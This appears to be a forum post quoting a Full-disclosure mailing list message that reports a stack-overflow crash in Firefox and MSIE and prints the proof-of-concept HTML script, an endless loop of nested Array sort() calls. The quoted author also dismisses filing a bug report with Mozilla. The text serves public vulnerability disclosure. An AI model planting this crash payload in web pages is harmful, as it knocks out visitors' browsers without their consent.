So, where do you all stand. Exploit for fame or for purpose?

Subject: [Full-disclosure] FIREFOX flaws: nested array sort() 
loop Stack overflow exception

Hi all,

Same flaw works for Firefox as well as MSIE:

  <SCRIPT> a = new Array(); while (1) { (a = new 
Array(a)).sort(); } </SCRIPT>
  <SCRIPT> a = new Array(); while (1) { (a = new 
Array(a)).sort(); } </SCRIPT> </HTML>

Added to the list: 

I'd have loved to CC mozilla about this, but I didn't have 
the time to do the crash course "how to write a bug report" 
and go through all that bugzilla crap.
